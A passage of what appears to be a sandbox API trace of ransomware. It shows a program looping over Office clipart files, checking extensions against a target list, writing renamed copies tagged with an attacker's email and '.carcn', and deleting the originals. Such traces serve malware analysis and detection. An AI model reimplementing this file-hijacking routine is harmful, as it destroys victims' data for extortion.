liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.804] SetEndOfFile (hFile=0x350) returned 1 [0294.805] CloseHandle (hObject=0x350) returned 1 [0294.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0294.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.807] lstrlenW (lpString=".doc") returned 4 [0294.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.807] lstrlenW (lpString=".docx") returned 5 [0294.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.807] lstrlenW (lpString=".pdf") returned 4 [0294.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.807] lstrlenW (lpString=".xls") returned 4 [0294.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.807] lstrlenW (lpString=".xlsx") returned 5 [0294.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.807] lstrlenW (lpString=".ppt") returned 4 [0294.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.807] lstrlenW (lpString=".zip") returned 4 [0294.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.807] lstrlenW (lpString=".rar") returned 4 [0294.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.807] lstrlenW (lpString=".bz2") returned 4 [0294.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.807] lstrlenW (lpString=".7z") returned 3 [0294.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.807] lstrlenW (lpString=".dbf") returned 4 [0294.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.807] lstrlenW (lpString=".1cd") returned 4 [0294.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.808] lstrlenW (lpString=".jpg") returned 4 [0294.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.808] lstrlenW (lpString=".doc") returned 4 [0294.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.808] lstrlenW (lpString=".docx") returned 5 [0294.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.808] lstrlenW (lpString=".pdf") returned 4 [0294.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.808] lstrlenW (lpString=".xls") returned 4 [0294.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.808] lstrlenW (lpString=".xlsx") returned 5 [0294.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.808] lstrlenW (lpString=".ppt") returned 4 [0294.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.808] lstrlenW (lpString=".zip") returned 4 [0294.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.808] lstrlenW (lpString=".rar") returned 4 [0294.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.808] lstrlenW (lpString=".bz2") returned 4 [0294.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.808] lstrlenW (lpString=".7z") returned 3 [0294.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.808] lstrlenW (lpString=".dbf") returned 4 [0294.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.809] lstrlenW (lpString=".1cd") returned 4 [0294.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0294.809] lstrlenW (lpString=".jpg") returned 4 [0294.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.809] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.809] lstrlenW (lpString="AN04235_.WMF") returned 12 [0294.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.809] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=7804) returned 1 [0294.809] CloseHandle (hObject=0x350) returned 1 [0294.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0294.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.810] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.810] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0294.811] GetLastError () returned 0x0 [0294.811] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0294.812] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1e80, lpOverlapped=0x0) returned 1 [0294.813] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.813] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.814] SetEndOfFile (hFile=0x34c) returned 1 [0294.814] CloseHandle (hObject=0x34c) returned 1 [0294.814] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.814] SetEndOfFile (hFile=0x350) returned 1 [0294.815] CloseHandle (hObject=0x350) returned 1 [0294.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0294.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.816] lstrlenW (lpString=".doc") returned 4 [0294.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.816] lstrlenW (lpString=".docx") returned 5 [0294.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.816] lstrlenW (lpString=".pdf") returned 4 [0294.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.816] lstrlenW (lpString=".xls") returned 4 [0294.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.816] lstrlenW (lpString=".xlsx") returned 5 [0294.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.816] lstrlenW (lpString=".ppt") returned 4 [0294.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.816] lstrlenW (lpString=".zip") returned 4 [0294.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.817] lstrlenW (lpString=".rar") returned 4 [0294.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.817] lstrlenW (lpString=".bz2") returned 4 [0294.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.817] lstrlenW (lpString=".7z") returned 3 [0294.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.817] lstrlenW (lpString=".dbf") returned 4 [0294.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.817] lstrlenW (lpString=".1cd") returned 4 [0294.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.817] lstrlenW (lpString=".jpg") returned 4 [0294.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.817] lstrlenW (lpString=".doc") returned 4 [0294.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.817] lstrlenW (lpString=".docx") returned 5 [0294.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.817] lstrlenW (lpString=".pdf") returned 4 [0294.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.817] lstrlenW (lpString=".xls") returned 4 [0294.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.818] lstrlenW (lpString=".xlsx") returned 5 [0294.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.818] lstrlenW (lpString=".ppt") returned 4 [0294.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.818] lstrlenW (lpString=".zip") returned 4 [0294.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.818] lstrlenW (lpString=".rar") returned 4 [0294.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.818] lstrlenW (lpString=".bz2") returned 4 [0294.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.818] lstrlenW (lpString=".7z") returned 3 [0294.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.818] lstrlenW (lpString=".dbf") returned 4 [0294.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.818] lstrlenW (lpString=".1cd") returned 4 [0294.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0294.818] lstrlenW (lpString=".jpg") returned 4 [0294.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.818] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.818] lstrlenW (lpString="AN04267_.WMF") returned 12 [0294.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.819] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=7804) returned 1 [0294.819] CloseHandle (hObject=0x350) returned 1 [0294.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0294.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.820] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.820] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0294.820] GetLastError () returned 0x0 [0294.820] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0294.822] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1e80, lpOverlapped=0x0) returned 1 [0294.823] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.823] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.824] SetEndOfFile (hFile=0x34c) returned 1 [0294.824] CloseHandle (hObject=0x34c) returned 1 [0294.824] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.824] SetEndOfFile (hFile=0x350) returned 1 [0294.825] CloseHandle (hObject=0x350) returned 1 [0294.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0294.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.826] lstrlenW (lpString=".doc") returned 4 [0294.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.826] lstrlenW (lpString=".docx") returned 5 [0294.826] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.826] lstrlenW (lpString=".pdf") returned 4 [0294.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.826] lstrlenW (lpString=".xls") returned 4 [0294.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.826] lstrlenW (lpString=".xlsx") returned 5 [0294.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.826] lstrlenW (lpString=".ppt") returned 4 [0294.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.826] lstrlenW (lpString=".zip") returned 4 [0294.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.826] lstrlenW (lpString=".rar") returned 4 [0294.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.827] lstrlenW (lpString=".bz2") returned 4 [0294.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.827] lstrlenW (lpString=".7z") returned 3 [0294.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.827] lstrlenW (lpString=".dbf") returned 4 [0294.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.827] lstrlenW (lpString=".1cd") returned 4 [0294.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.827] lstrlenW (lpString=".jpg") returned 4 [0294.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.827] lstrlenW (lpString=".doc") returned 4 [0294.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.827] lstrlenW (lpString=".docx") returned 5 [0294.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.827] lstrlenW (lpString=".pdf") returned 4 [0294.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.827] lstrlenW (lpString=".xls") returned 4 [0294.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.827] lstrlenW (lpString=".xlsx") returned 5 [0294.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.827] lstrlenW (lpString=".ppt") returned 4 [0294.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.828] lstrlenW (lpString=".zip") returned 4 [0294.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.828] lstrlenW (lpString=".rar") returned 4 [0294.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.828] lstrlenW (lpString=".bz2") returned 4 [0294.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.828] lstrlenW (lpString=".7z") returned 3 [0294.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.828] lstrlenW (lpString=".dbf") returned 4 [0294.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.828] lstrlenW (lpString=".1cd") returned 4 [0294.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0294.828] lstrlenW (lpString=".jpg") returned 4 [0294.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.828] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.828] lstrlenW (lpString="AN04269_.WMF") returned 12 [0294.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.828] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2016) returned 1 [0294.829] CloseHandle (hObject=0x350) returned 1 [0294.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0294.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.829] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.829] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0294.830] GetLastError () returned 0x0 [0294.830] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x7e0, lpOverlapped=0x0) returned 1 [0295.353] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x7f0, lpOverlapped=0x0) returned 1 [0295.355] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.355] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.355] SetEndOfFile (hFile=0x34c) returned 1 [0295.355] CloseHandle (hObject=0x34c) returned 1 [0295.355] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.355] SetEndOfFile (hFile=0x350) returned 1 [0295.369] CloseHandle (hObject=0x350) returned 1 [0295.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.370] DeleteFileW 